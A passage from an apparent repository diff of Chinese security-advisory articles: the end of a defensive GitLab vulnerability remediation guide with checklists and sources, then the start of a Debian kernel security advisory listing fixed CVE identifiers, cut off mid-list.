在不影响必要协作的前提下，限制不必要的网络访问，核查匿名访问、注册及公开项目权限。Rapid7说明，限制不受信任用户创建或写入公开项目可降低其已验证路径的暴露，但不会修复存在缺陷的编译处理逻辑。[2]
**第四，保留日志并检查异常。**
关注异常进程、可疑外联、未知账号或令牌、非预期的项目权限变化，以及缺乏业务依据的流水线修改。它们是通用调查线索，不是本漏洞的专属命中证据；单条异常不能直接定性，日志缺失也不能据此判定安全。
**第五，复核安全与业务。**
确认实际运行版本已经更新，检查仓库读写、流水线、Runner连接及关键集成。若存在凭证暴露或受控证据，在可信环境中有计划地撤销相关会话、轮换凭证，并验证依赖业务。不要在未评估影响时一次性更换全部生产密钥。
五、一张清单，把处置落实到人
<table><thead><tr><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">工作项</span></section></th><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">责任角色</span></section></th><th style="border:1px solid #d9d9d9;padding:8px 6px;background:#f0f7f8;font-weight:700;color:#006d7a;text-align:left;word-break:break-all;line-height:1.5"><section><span leaf="">应保留的结果</span></section></th></tr></thead><tbody><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">资产与版本核查</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">运维、平台负责人</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">实例及版本清单</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">账号与项目权限核查</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">平台管理员</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">注册、公开项目及写权限记录</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">备份与升级</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">运维、业务负责人</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">变更单、备份及版本验证</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">异常调查</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">安全、研发团队</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">时间线与证据摘要</span></section></td></tr><tr><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">业务恢复确认</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">研发、业务负责人</span></section></td><td style="border:1px solid #d9d9d9;padding:8px 6px;color:#333;line-height:1.55;word-break:break-all;vertical-align:top"><section><span leaf="">仓库、流水线及集成验证结果</span></section></td></tr></tbody></table>
可复制的处置便签
- 实例名称／负责人：
- 当前版本／计划升级版本：
- 网络可达范围／项目权限：
- 备份位置及恢复验证情况：
- 升级完成时间／实际运行版本：
- 是否发现异常／证据位置：
- 凭证处理及业务验证结果：
- 遗留问题／责任人／完成时限：
如果由服务商维护，应要求对方提供实际版本证明、变更记录和复核结果，而不只是回复“已处理”。如果无法立即升级，也应明确临时措施、风险责任人和最晚处理时间。
这次漏洞处置的验收，应同时回答两件事：入口是否修复，已有异常是否得到核查。
**信息来源与核验边界**
[1] GitLab官方关键补丁公告，2026年10月12日。https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/
[2] Rapid7独立复现与缓解说明，2026年10月13日发布，页面更新记录含10月16日。本文仅引用条件、验证结论和防护建议，不提供利用代码。https://www.rapid7.com/blog/post/etr-cve-2026-97229-critical-unauthenticated-remote-code-execution-in-gitlab/
[3] GitLab官方升级路径文档。https://docs.gitlab.com/update/upgrade_paths/
[4] GitLab官方CI/CD变量文档。https://docs.gitlab.com/ci/variables/
[5] GitLab官方备份文档。https://docs.gitlab.com/administration/backup_restore/backup_gitlab/
核验日期为2026年10月20日。官方版本边界、研究者验证条件与本文风险分析已分别标明；一般排查建议不代表已发生入侵。
安全通告 · 核验日期：2026年10月20日 · 以厂商最新公告为准
doc/2026-10/Debian DSA-6528-1（内核）上百个漏洞.md
+346
View File
@@ -0,0 +1,346 @@
# Debian DSA-6528-1（内核）上百个漏洞
原创 Z
Z 威胁情报Z分析 2026-10-20 02:39
Debian Bug：1108860。Linux内核中发现了多个漏洞，可能导致权限提升、拒绝服务攻击或信息泄露。
![](https://mmbiz.qpic.cn/mmbiz_png/0LGiaGIrzXumZhGJoZ48okGZFrzKiaPU14iafa6dxEwGAN2bwoXPeiaqhJpbHKcPiaZ0A5UtPprkeibZ1gqUacMOGwpzNG2EnEvM3Tk2SEQiajUdYw/640?wx_fmt=png&from=appmsg "")
对于稳定版发行版 (trixie)，这些问题已在 6.12.111-1 版本中修复。
我们建议您升级 Linux 软件包。有关 Linux 的详细安全状态，请参阅其安全跟踪页面：https://security-tracker.debian.org/tracker/linux
```
Package        : linux
CVE ID         : CVE-2024-52560 CVE-2024-58094 CVE-2024-58095 CVE-2025-21817
                 CVE-2025-22104 CVE-2025-22108 CVE-2025-22127 CVE-2025-38203
                 CVE-2025-38205 CVE-2025-38206 CVE-2025-38237 CVE-2025-38621
                 CVE-2025-39833 CVE-2025-39925 CVE-2025-40064 CVE-2025-40102
                 CVE-2025-40139 CVE-2025-40168 CVE-2026-23137 CVE-2026-43198
                 CVE-2026-43344 CVE-2026-45963 CVE-2026-52944 CVE-2026-53010
                 CVE-2026-53089 CVE-2026-53102 CVE-2026-53113 CVE-2026-53250
                 CVE-2026-53313 CVE-2026-64058 CVE-2026-64070 CVE-2026-64082
                 CVE-2026-64210 CVE-2026-68286 CVE-2026-68287 CVE-2026-68288
                 CVE-2026-68289 CVE-2026-68303 CVE-2026-68337 CVE-2026-72334
                 CVE-2026-72402 CVE-2026-72413 CVE-2026-72438 CVE-2026-72485
                 CVE-2026-72496 CVE-2026-74258 CVE-2026-74268 CVE-2026-74289
                 CVE-2026-74291 CVE-2026-74294 CVE-2026-74334 CVE-2026-74496
                 CVE-2026-74521 CVE-2026-74735 CVE-2026-74753 CVE-2026-80521
                 CVE-2026-80671 CVE-2026-80755 CVE-2026-80762 CVE-2026-80766
                 CVE-2026-80768 CVE-2026-80774 CVE-2026-80780 CVE-2026-80783
                 CVE-2026-80796 CVE-2026-80806 CVE-2026-80807 CVE-2026-80824
                 CVE-2026-80825 CVE-2026-80826 CVE-2026-80827 CVE-2026-80828
                 CVE-2026-80829 CVE-2026-80830 CVE-2026-80831 CVE-2026-80832
                 CVE-2026-80833 CVE-2026-80834 CVE-2026-80835 CVE-2026-80836
                 CVE-2026-80837 CVE-2026-80838 CVE-2026-80839 CVE-2026-80840
                 CVE-2026-80841 CVE-2026-80842 CVE-2026-80843 CVE-2026-80844
                 CVE-2026-80845 CVE-2026-80846 CVE-2026-80847 CVE-2026-80848
                 CVE-2026-80849 CVE-2026-80850 CVE-2026-80851 CVE-2026-80852
                 CVE-2026-80854 CVE-2026-80855 CVE-2026-80856 CVE-2026-80860
                 CVE-2026-80861 CVE-2026-80862 CVE-2026-80863 CVE-2026-80864
                 CVE-2026-80878 CVE-2026-80914 CVE-2026-80921 CVE-2026-80922
                 CVE-2026-80923 CVE-2026-80925 CVE-2026-80926 CVE-2026-80928
                 CVE-2026-80930 CVE-2026-80931 CVE-2026-80932 CVE-2026-80933
                 CVE-2026-80938 CVE-2026-80940 CVE-2026-80941 CVE-2026-80942
                 CVE-2026-80943 CVE-2026-80944 CVE-2026-80945 CVE-2026-80947
                 CVE-2026-80949 CVE-2026-80951 CVE-2026-80952 CVE-2026-80963
                 CVE-2026-80964 CVE-2026-80965 CVE-2026-80966 CVE-2026-80967
                 CVE-2026-80968 CVE-2026-80969 CVE-2026-80971 CVE-2026-80972
                 CVE-2026-80973 CVE-2026-80974 CVE-2026-80976 CVE-2026-80977
                 CVE-2026-80978 CVE-2026-80979 CVE-2026-80982 CVE-2026-80983
                 CVE-2026-80984 CVE-2026-80987 CVE-2026-80988 CVE-2026-80989
                 CVE-2026-80990 CVE-2026-80991 CVE-2026-80992 CVE-2026-80994
                 CVE-2026-80996 CVE-2026-80997 CVE-2026-80999 CVE-2026-81000
                 CVE-2026-81001 CVE-2026-81002 CVE-2026-81003 CVE-2026-81005
                 CVE-2026-81007 CVE-2026-81008 CVE-2026-81011 CVE-2026-81012
                 CVE-2026-81013 CVE-2026-81014 CVE-2026-81017 CVE-2026-89438
                 CVE-2026-89439 CVE-2026-89440 CVE-2026-89442 CVE-2026-89443
                 CVE-2026-89444 CVE-2026-89448 CVE-2026-89451 CVE-2026-89453
                 CVE-2026-89454 CVE-2026-89455 CVE-2026-89456 CVE-2026-89457
                 CVE-2026-89458 CVE-2026-89460 CVE-2026-89461 CVE-2026-89462
                 CVE-2026-89463 CVE-2026-89464 CVE-2026-89465 CVE-2026-89466
                 CVE-2026-89468 CVE-2026-89469 CVE-2026-89470 CVE-2026-89471
                 CVE-2026-89472 CVE-2026-89473 CVE-2026-89474 CVE-2026-89475
                 CVE-2026-89476 CVE-2026-89477 CVE-2026-89478 CVE-2026-89479
                 CVE-2026-89480 CVE-2026-89481 CVE-2026-89482 CVE-2026-89483
                 CVE-2026-89484 CVE-2026-89485 CVE-2026-89487 CVE-2026-89488
                 CVE-2026-89489 CVE-2026-89490 CVE-2026-89491 CVE-2026-89492
                 CVE-2026-89493 CVE-2026-89494 CVE-2026-89495 CVE-2026-89496
                 CVE-2026-89497 CVE-2026-89498 CVE-2026-89501 CVE-2026-89502
                 CVE-2026-89504 CVE-2026-89508 CVE-2026-89510 CVE-2026-89511
                 CVE-2026-89512 CVE-2026-89515 CVE-2026-89524 CVE-2026-89525
                 CVE-2026-89526 CVE-2026-89530 CVE-2026-89531 CVE-2026-89532
                 CVE-2026-89533 CVE-2026-89535 CVE-2026-89536 CVE-2026-89538
                 CVE-2026-89539 CVE-2026-89540 CVE-2026-89541 CVE-2026-89542
                 CVE-2026-89543 CVE-2026-89544 CVE-2026-89545 CVE-2026-89547
                 CVE-2026-89548 CVE-2026-89549 CVE-2026-89550 CVE-2026-89551
                 CVE-2026-89552 CVE-2026-89553 CVE-2026-89554 CVE-2026-89555
                 CVE-2026-89557 CVE-2026-89558 CVE-2026-89559 CVE-2026-89560
                 CVE-2026-89561 CVE-2026-89562 CVE-2026-89563 CVE-2026-89564
                 CVE-2026-89565 CVE-2026-89566 CVE-2026-89567 CVE-2026-89569
                 CVE-2026-89572 CVE-2026-89573 CVE-2026-89574 CVE-2026-89575
                 CVE-2026-89576 CVE-2026-89579 CVE-2026-89580 CVE-2026-89581
                 CVE-2026-89582 CVE-2026-89583 CVE-2026-89585 CVE-2026-89586
                 CVE-2026-89587 CVE-2026-89588 CVE-2026-89589 CVE-2026-89593
                 CVE-2026-89594 CVE-2026-89595 CVE-2026-89596 CVE-2026-89597
                 CVE-2026-89598 CVE-2026-89599 CVE-2026-89602 CVE-2026-89603
                 CVE-2026-89604 CVE-2026-89605 CVE-2026-89606 CVE-2026-89607
                 CVE-2026-89608 CVE-2026-89609 CVE-2026-89615 CVE-2026-89616
                 CVE-2026-89617 CVE-2026-89618 CVE-2026-89621 CVE-2026-89622
                 CVE-2026-89624 CVE-2026-89625 CVE-2026-89626 CVE-2026-89627
                 CVE-2026-89628 CVE-2026-89634 CVE-2026-89636 CVE-2026-89640
                 CVE-2026-89643 CVE-2026-89644 CVE-2026-89645 CVE-2026-89647
                 CVE-2026-89649 CVE-2026-89650 CVE-2026-89651 CVE-2026-89652
                 CVE-2026-89653 CVE-2026-89655 CVE-2026-89656 CVE-2026-89657
                 CVE-2026-89658 CVE-2026-89659 CVE-2026-89660 CVE-2026-89662
                 CVE-2026-89663 CVE-2026-89665 CVE-2026-89666 CVE-2026-89667
                 CVE-2026-89669 CVE-2026-89671 CVE-2026-89672 CVE-2026-89674
                 CVE-2026-89676 CVE-2026-89680 CVE-2026-89683 CVE-2026-89684
                 CVE-2026-89685 CVE-2026-89686 CVE-2026-89688 CVE-2026-89690
                 CVE-2026-89691 CVE-2026-89693 CVE-2026-89694 CVE-2026-89696
                 CVE-2026-89697 CVE-2026-89698 CVE-2026-89699 CVE-2026-89700
                 CVE-2026-89702 CVE-2026-89703 CVE-2026-89704 CVE-2026-89706
                 CVE-2026-89707 CVE-2026-89708 CVE-2026-89710 CVE-2026-89711
                 CVE-2026-89712 CVE-2026-89713 CVE-2026-89717 CVE-2026-89718
                 CVE-2026-89719 CVE-2026-89720 CVE-2026-89723 CVE-2026-89724
                 CVE-2026-89725 CVE-2026-89726 CVE-2026-89729 CVE-2026-89730
                 CVE-2026-89731 CVE-2026-89732 CVE-2026-89733 CVE-2026-89735
                 CVE-2026-89736 CVE-2026-89738 CVE-2026-89740 CVE-2026-89741
                 CVE-2026-89742 CVE-2026-89743 CVE-2026-89744 CVE-2026-89746
                 CVE-2026-89747 CVE-2026-89749 CVE-2026-89750 CVE-2026-89751
                 CVE-2026-89752 CVE-2026-89753 CVE-2026-89755 CVE-2026-89756
                 CVE-2026-89759 CVE-2026-89761 CVE-2026-89762 CVE-2026-89763
                 CVE-2026-89765 CVE-2026-89768 CVE-2026-89771 CVE-2026-89776
                 CVE-2026-89777 CVE-2026-89778 CVE-2026-89779 CVE-2026-89780
                 CVE-2026-89781 CVE-2026-89782 CVE-2026-89783 CVE-2026-89784
                 CVE-2026-89785 CVE-2026-89786 CVE-2026-89787 CVE-2026-89789
                 CVE-2026-89792 CVE-2026-89793 CVE-2026-89794 CVE-2026-89796
                 CVE-2026-89798 CVE-2026-89799 CVE-2026-89800 CVE-2026-89801
                 CVE-2026-89802 CVE-2026-89803 CVE-2026-89807 CVE-2026-89816
                 CVE-2026-89817 CVE-2026-89818 CVE-2026-89819 CVE-2026-89821
                 CVE-2026-89822 CVE-2026-89823 CVE-2026-89824 CVE-2026-89825
                 CVE-2026-89830 CVE-2026-89834 CVE-2026-89835 CVE-2026-89839
                 CVE-2026-89842 CVE-2026-89843 CVE-2026-89844 CVE-2026-89845
                 CVE-2026-89846 CVE-2026-89847 CVE-2026-89848 CVE-2026-89849
                 CVE-2026-89850 CVE-2026-89851 CVE-2026-89852 CVE-2026-89853
                 CVE-2026-89854 CVE-2026-89855 CVE-2026-89856 CVE-2026-89857
                 CVE-2026-89858 CVE-2026-89860 CVE-2026-89861 CVE-2026-89863
                 CVE-2026-89864 CVE-2026-89865 CVE-2026-89870 CVE-2026-89871
                 CVE-2026-89872 CVE-2026-89874 CVE-2026-89876 CVE-2026-89877
                 CVE-2026-89878 CVE-2026-89879 CVE-2026-89880 CVE-2026-89881
                 CVE-2026-89883 CVE-2026-89884 CVE-2026-89885 CVE-2026-89886
                 CVE-2026-89887 CVE-2026-89888 CVE-2026-89890 CVE-2026-89891
                 CVE-2026-89892 CVE-2026-89893 CVE-2026-89894 CVE-2026-89895
                 CVE-2026-89896 CVE-2026-89897 CVE-2026-89898 CVE-2026-89899
                 CVE-2026-89900 CVE-2026-89901 CVE-2026-89902 CVE-2026-89903
                 CVE-2026-89904 CVE-2026-89908 CVE-2026-89909 CVE-2026-89922
                 CVE-2026-89923 CVE-2026-89924 CVE-2026-89925 CVE-2026-89926
                 CVE-2026-89927 CVE-2026-89929 CVE-2026-89930 CVE-2026-89931
                 CVE-2026-89932 CVE-2026-89933 CVE-2026-89934 CVE-2026-89936
                 CVE-2026-89937 CVE-2026-89938 CVE-2026-89939 CVE-2026-89940
                 CVE-2026-89941 CVE-2026-89942 CVE-2026-89943 CVE-2026-89944
                 CVE-2026-89945 CVE-2026-89946 CVE-2026-89947 CVE-2026-89948
                 CVE-2026-89949 CVE-2026-89950 CVE-2026-89951 CVE-2026-89952
                 CVE-2026-89953 CVE-2026-89954 CVE-2026-89955 CVE-2026-89957
                 CVE-2026-89958 CVE-2026-89959 CVE-2026-89960 CVE-2026-89961
                 CVE-2026-89962 CVE-2026-89963 CVE-2026-89964 CVE-2026-89965
                 CVE-2026-89968 CVE-2026-89969 CVE-2026-89970 CVE-2026-89973
                 CVE-2026-89974 CVE-2026-89975 CVE-2026-89979 CVE-2026-89980
                 CVE-2026-89982 CVE-2026-89983 CVE-2026-89984 CVE-2026-89986
                 CVE-2026-89988 CVE-2026-89989 CVE-2026-89990 CVE-2026-89992
                 CVE-2026-89993 CVE-2026-89994 CVE-2026-89995 CVE-2026-89997
                 CVE-2026-89998 CVE-2026-89999 CVE-2026-90000 CVE-2026-90001
                 CVE-2026-90003 CVE-2026-90007 CVE-2026-90011 CVE-2026-90012
                 CVE-2026-90015 CVE-2026-90017 CVE-2026-90018 CVE-2026-90019
                 CVE-2026-90020 CVE-2026-90021 CVE-2026-90022 CVE-2026-90024
                 CVE-2026-90025 CVE-2026-90026 CVE-2026-90027 CVE-2026-90031
                 CVE-2026-90032 CVE-2026-90033 CVE-2026-90034 CVE-2026-90035
                 CVE-2026-90036 CVE-2026-90037 CVE-2026-90039 CVE-2026-90041
                 CVE-2026-90042 CVE-2026-90044 CVE-2026-90045 CVE-2026-90048
                 CVE-2026-90049 CVE-2026-90053 CVE-2026-90054 CVE-2026-90055
                 CVE-2026-90056 CVE-2026-90057 CVE-2026-90058 CVE-2026-90060
                 CVE-2026-90062 CVE-2026-90063 CVE-2026-90065 CVE-2026-90066
                 CVE-2026-90067 CVE-2026-90068 CVE-2026-90070 CVE-2026-90071
                 CVE-2026-90072 CVE-2026-90073 CVE-2026-90074 CVE-2026-90075
                 CVE-2026-90076 CVE-2026-90078 CVE-2026-90081 CVE-2026-90085
                 CVE-2026-90088 CVE-2026-90090 CVE-2026-90091 CVE-2026-90092
                 CVE-2026-90101 CVE-2026-90102 CVE-2026-90103 CVE-2026-90107
                 CVE-2026-90108 CVE-2026-90109 CVE-2026-90110 CVE-2026-90112
                 CVE-2026-90114 CVE-2026-90115 CVE-2026-90119 CVE-2026-90122
                 CVE-2026-90124 CVE-2026-90125 CVE-2026-90126 CVE-2026-90128
                 CVE-2026-90130 CVE-2026-90135 CVE-2026-90137 CVE-2026-90138
                 CVE-2026-90139 CVE-2026-90140 CVE-2026-90141 CVE-2026-90143
                 CVE-2026-90147 CVE-2026-90148 CVE-2026-90150 CVE-2026-90151
                 CVE-2026-90152 CVE-2026-90153 CVE-2026-90157 CVE-2026-90158
                 CVE-2026-90159 CVE-2026-90160 CVE-2026-90165 CVE-2026-90166
                 CVE-2026-90169 CVE-2026-90170 CVE-2026-90175 CVE-2026-90176
                 CVE-2026-90178 CVE-2026-90180 CVE-2026-90184 CVE-2026-90185
                 CVE-2026-90186 CVE-2026-90187 CVE-2026-90188 CVE-2026-90189
                 CVE-2026-90190 CVE-2026-90192 CVE-2026-90193 CVE-2026-90194
                 CVE-2026-90195 CVE-2026-90196 CVE-2026-90198 CVE-2026-90199
                 CVE-2026-90200 CVE-2026-90201 CVE-2026-90202 CVE-2026-90203
                 CVE-2026-90207 CVE-2026-90209 CVE-2026-90213 CVE-2026-90214
                 CVE-2026-90215 CVE-2026-90216 CVE-2026-90218 CVE-2026-90219
                 CVE-2026-90220 CVE-2026-90221 CVE-2026-90222 CVE-2026-90223
                 CVE-2026-90224 CVE-2026-90225 CVE-2026-90226 CVE-2026-90227
                 CVE-2026-90228 CVE-2026-90229 CVE-2026-90230 CVE-2026-90235
                 CVE-2026-90241 CVE-2026-90243 CVE-2026-90245 CVE-2026-90248
                 CVE-2026-90249 CVE-2026-90250 CVE-2026-90251 CVE-2026-90253
                 CVE-2026-90254 CVE-2026-90255 CVE-2026-90257 CVE-2026-90262
                 CVE-2026-90274 CVE-2026-90275 CVE-2026-90279 CVE-2026-90280
                 CVE-2026-90281 CVE-2026-90282 CVE-2026-90283 CVE-2026-90284
                 CVE-2026-90285 CVE-2026-90286 CVE-2026-90287 CVE-2026-90290
                 CVE-2026-90291 CVE-2026-90292 CVE-2026-90293 CVE-2026-90294
                 CVE-2026-90295 CVE-2026-90296 CVE-2026-90297 CVE-2026-90298
                 CVE-2026-90302 CVE-2026-90303 CVE-2026-90307 CVE-2026-90308
                 CVE-2026-90309 CVE-2026-90313 CVE-2026-90314 CVE-2026-90316
                 CVE-2026-90318 CVE-2026-90319 CVE-2026-90322 CVE-2026-90325
                 CVE-2026-90327 CVE-2026-90329 CVE-2026-90334 CVE-2026-90341
                 CVE-2026-90344 CVE-2026-90348 CVE-2026-90352 CVE-2026-90353
                 CVE-2026-90354 CVE-2026-90357 CVE-2026-90358 CVE-2026-90360
                 CVE-2026-90361 CVE-2026-90362 CVE-2026-90364 CVE-2026-90366
                 CVE-2026-90368 CVE-2026-90370 CVE-2026-90372 CVE-2026-90373
                 CVE-2026-90374 CVE-2026-90375 CVE-2026-90378 CVE-2026-90380
                 CVE-2026-90382 CVE-2026-90383 CVE-2026-90385 CVE-2026-90386
                 CVE-2026-90387 CVE-2026-90388 CVE-2026-90389 CVE-2026-90390
                 CVE-2026-90391 CVE-2026-90392 CVE-2026-90393 CVE-2026-90394
                 CVE-2026-90395 CVE-2026-90397 CVE-2026-90398 CVE-2026-90399
                 CVE-2026-90400 CVE-2026-90402 CVE-2026-90403 CVE-2026-90404
                 CVE-2026-90407 CVE-2026-90410 CVE-2026-90411 CVE-2026-90413
                 CVE-2026-90414 CVE-2026-90415 CVE-2026-90416 CVE-2026-90418
                 CVE-2026-90419 CVE-2026-90420 CVE-2026-90426 CVE-2026-90428
                 CVE-2026-90430 CVE-2026-90431 CVE-2026-90433 CVE-2026-90434
                 CVE-2026-90435 CVE-2026-92476 CVE-2026-92477 CVE-2026-92481
                 CVE-2026-92484 CVE-2026-92488 CVE-2026-92489 CVE-2026-92490
                 CVE-2026-92491 CVE-2026-92494 CVE-2026-92495 CVE-2026-92496
                 CVE-2026-92497 CVE-2026-92498 CVE-2026-92501 CVE-2026-92502
                 CVE-2026-92504 CVE-2026-92506 CVE-2026-92507 CVE-2026-92508
                 CVE-2026-92509 CVE-2026-92510 CVE-2026-92511 CVE-2026-92512
                 CVE-2026-92514 CVE-2026-92515 CVE-2026-92519 CVE-2026-92521
                 CVE-2026-92522 CVE-2026-92523 CVE-2026-92524 CVE-2026-92525
                 CVE-2026-93037 CVE-2026-93039 CVE-2026-93040 CVE-2026-93041
                 CVE-2026-93042 CVE-2026-93045 CVE-2026-93046 CVE-2026-93048
                 CVE-2026-93049 CVE-2026-93050 CVE-2026-93051 CVE-2026-93052
                 CVE-2026-93053 CVE-2026-93054 CVE-2026-93055 CVE-2026-93056
                 CVE-2026-93061 CVE-2026-93062 CVE-2026-93063 CVE-2026-93064
                 CVE-2026-93065 CVE-2026-93067 CVE-2026-93070 CVE-2026-93071
                 CVE-2026-93072 CVE-2026-93073 CVE-2026-93082 CVE-2026-93083
                 CVE-2026-93084 CVE-2026-93085 CVE-2026-93086 CVE-2026-93089
                 CVE-2026-93090 CVE-2026-93091 CVE-2026-93092 CVE-2026-93093
                 CVE-2026-93095 CVE-2026-93097 CVE-2026-93098 CVE-2026-93101
                 CVE-2026-93102 CVE-2026-93103 CVE-2026-93107 CVE-2026-93108
                 CVE-2026-93109 CVE-2026-93110 CVE-2026-93113 CVE-2026-93114
                 CVE-2026-93115 CVE-2026-93117 CVE-2026-93118 CVE-2026-93119
                 CVE-2026-93120 CVE-2026-93121 CVE-2026-93123 CVE-2026-93126
                 CVE-2026-93128 CVE-2026-93130 CVE-2026-93131 CVE-2026-93132
                 CVE-2026-93133 CVE-2026-93134 CVE-2026-93136 CVE-2026-93137
                 CVE-2026-93138 CVE-2026-93140 CVE-2026-93141 CVE-2026-93142
                 CVE-2026-93145 CVE-2026-93149 CVE-2026-93150 CVE-2026-93151
                 CVE-2026-93152 CVE-2026-93155 CVE-2026-93156 CVE-2026-93158
                 CVE-2026-93159 CVE-2026-93160 CVE-2026-93161 CVE-2026-93162
                 CVE-2026-93163 CVE-2026-93165 CVE-2026-93167 CVE-2026-93170
                 CVE-2026-93172 CVE-2026-93173 CVE-2026-93174 CVE-2026-93177
                 CVE-2026-93178 CVE-2026-93182 CVE-2026-93183 CVE-2026-93184
                 CVE-2026-93185 CVE-2026-93186 CVE-2026-93188 CVE-2026-93189
                 CVE-2026-93190 CVE-2026-93191 CVE-2026-93192 CVE-2026-93203
                 CVE-2026-93204 CVE-2026-93205 CVE-2026-93206 CVE-2026-93207
                 CVE-2026-93208 CVE-2026-93209 CVE-2026-93210 CVE-2026-93211
                 CVE-2026-93212 CVE-2026-93213 CVE-2026-93214 CVE-2026-93215
                 CVE-2026-93219 CVE-2026-93222 CVE-2026-93223 CVE-2026-93224
                 CVE-2026-93226 CVE-2026-93228 CVE-2026-93229 CVE-2026-93234
                 CVE-2026-93235 CVE-2026-93236 CVE-2026-93238 CVE-2026-93239
                 CVE-2026-93240 CVE-2026-93242 CVE-2026-93245 CVE-2026-93247
                 CVE-2026-93250 CVE-2026-93252 CVE-2026-93256 CVE-2026-93259
                 CVE-2026-93261 CVE-2026-93262 CVE-2026-93264 CVE-2026-93268
                 CVE-2026-93269 CVE-2026-93271 CVE-2026-93273 CVE-2026-93274
                 CVE-2026-93275 CVE-2026-93278 CVE-2026-93279 CVE-2026-93280
                 CVE-2026-93281 CVE-2026-93283 CVE-2026-93286 CVE-2026-93287
                 CVE-2026-93288 CVE-2026-93781 CVE-2026-93782 CVE-2026-93783
                 CVE-2026-93784 CVE-2026-93785 CVE-2026-93786 CVE-2026-93787
                 CVE-2026-93788 CVE-2026-93789 CVE-2026-93790 CVE-2026-93791
                 CVE-2026-93792 CVE-2026-93793 CVE-2026-93794 CVE-2026-93795
                 CVE-2026-93796 CVE-2026-93797 CVE-2026-93798 CVE-2026-93799
                 CVE-2026-93800 CVE-2026-93801 CVE-2026-93802 CVE-2026-93803
                 CVE-2026-93804 CVE-2026-93805 CVE-2026-93806 CVE-2026-93807
                 CVE-2026-93808 CVE-2026-93810 CVE-2026-93811 CVE-2026-93812
                 CVE-2026-93813 CVE-2026-93814 CVE-2026-93815 CVE-2026-93816
                 CVE-2026-93817 CVE-2026-93818 CVE-2026-93819 CVE-2026-93820
                 CVE-2026-93821 CVE-2026-93822 CVE-2026-93823 CVE-2026-93824
                 CVE-2026-93825 CVE-2026-93826 CVE-2026-93827 CVE-2026-93828
                 CVE-2026-93829 CVE-2026-93830 CVE-2026-97407 CVE-2026-97408
                 CVE-2026-97409 CVE-2026-97410 CVE-2026-97411 CVE-2026-97412
                 CVE-2026-97413 CVE-2026-97414 CVE-2026-97415 CVE-2026-97416
                 CVE-2026-97417 CVE-2026-97418 CVE-2026-97419 CVE-2026-97420
                 CVE-2026-97421 CVE-2026-97425 CVE-2026-97427 CVE-2026-97428
                 CVE-2026-97429 CVE-2026-97430 CVE-2026-97434 CVE-2026-97435
                 CVE-2026-97436 CVE-2026-97437 CVE-2026-97438 CVE-2026-97439
                 CVE-2026-97440 CVE-2026-97441 CVE-2026-97442 CVE-2026-97443
                 CVE-2026-97444 CVE-2026-97445 CVE-2026-97446 CVE-2026-97448
                 CVE-2026-97449 CVE-2026-97450 CVE-2026-97451 CVE-2026-97452
                 CVE-2026-97453 CVE-2026-97454 CVE-2026-97455 CVE-2026-97456
                 CVE-2026-97472 CVE-2026-97473 CVE-2026-97475 CVE-2026-97476
                 CVE-2026-97481 CVE-2026-97482 CVE-2026-97483 CVE-2026-97484
                 CVE-2026-97485 CVE-2026-97486 CVE-2026-97487 CVE-2026-97488
                 CVE-2026-97489 CVE-2026-97490 CVE-2026-97491 CVE-2026-97492
                 CVE-2026-97494 CVE-2026-97495 CVE-2026-97496 CVE-2026-97497
                 CVE-2026-97500 CVE-2026-97502 CVE-2026-97504 CVE-2026-97505
                 CVE-2026-97506 CVE-2026-97507 CVE-2026-97508 CVE-2026-97509
                 CVE-2026-97510 CVE-2026-97512 CVE-2026-97514 CVE-2026-97516
                 CVE-2026-97517 CVE-2026-97518 CVE-2026-97520 CVE-2026-97521
                 CVE-2026-97522 CVE-2026-97523 CVE-2026-97524 CVE-2026-97539
                 CVE-2026-97540 CVE-2026-97541 CVE-2026-97542 CVE-2026-97543
                 CVE-2026-97544 CVE-2026-97545 CVE-2026-97546 CVE-2026-97547
                 CVE-2026-97551 CVE-2026-97552 CVE-2026-97555 CVE-2026-97556
                 CVE-2026-97557 CVE-2026-97560 CVE-2026-97562 CVE-2026-97564
                 CVE-2026-97568 CVE-2026-97572 CVE-2026-97573 CVE-2026-97575
                 CVE-2026-97576 CVE-2026-97577 CVE-2026-97578 CVE-2026-97579
                 CVE-2026-97581 CVE-2026-97582 CVE-2026-97583 CVE-2026-97584
                 CVE-2026-97587 CVE-2026-97592 CVE-2026-97595 CVE-2026-97596
                 CVE-2026-97598 CVE-2026-97599 CVE-2026-97600 CVE-2026-97601
                 CVE-2026-97602 CVE-2026-97604 CVE-2026-97605 CVE-2026-97606
